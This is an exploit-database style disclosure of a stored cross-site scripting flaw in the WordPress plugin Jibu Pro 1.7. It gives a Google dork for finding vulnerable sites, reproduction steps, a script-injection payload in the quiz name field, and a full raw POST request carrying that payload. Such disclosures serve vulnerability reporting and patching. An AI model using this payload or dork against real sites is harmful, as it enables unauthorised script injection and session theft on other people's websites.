# Exploit Title: WordPress Plugin Jibu Pro 1.7 - Cross-Site Scripting # Google Dork: inurl:"/wp-content/plugins/jibu-pro" # Date: 2018-08-29 # Exploit Author: Renos Nikolaou # Software Link: https://downloads.wordpress.org/plugin/jibu-pro.1.7.zip # Version: 1.7 # Tested on: Kali Linux # CVE: N/A # Description: Jinu Pro is prone to Stored Cross Site Scripting vulnerabilities # because it fails to properly sanitize user-supplied input. # PoC - Stored XSS - Parameter: name # 1) Login as a user who have access to Jibu Pro plugin. # 2) Jibu-Pro --> Create Quiz. # 3) At the Quiz Name type: poc"><script>alert(1)</script> , then fill the remaining fields and click Save. # (The first pop-up will appear. Also keep note of the shortcode, similar to: [Test Number]) # 4) Click Create New Questions, fill the fields and click Save. # 5) Copy the Shortcode [Test Number] into any post or page and visit the it via browser. # Post Request (Step 3): POST /wordpress/wp-content/plugins/jibu-pro/quiz_action.php HTTP/1.1 Host: domain.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://domain.com/wordpress/wp-admin/edit.php?page=jibu-pro%2Fquiz_form.php&action=new Cookie: wordpress_295cdc576d46a74a4105db5d33654g45 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 512 name=poc"><script>alert(1)</script>&description=poc&passedMark=3&no_of_ques=3&content=Congrats&_wpnonce=c2414882de&_wp_http_referer=/wordpress/wp-admin/edit.php?page=jibu-pro/quiz_form.php&action=new&action=new&quiz=&user_ID=1&submit=Save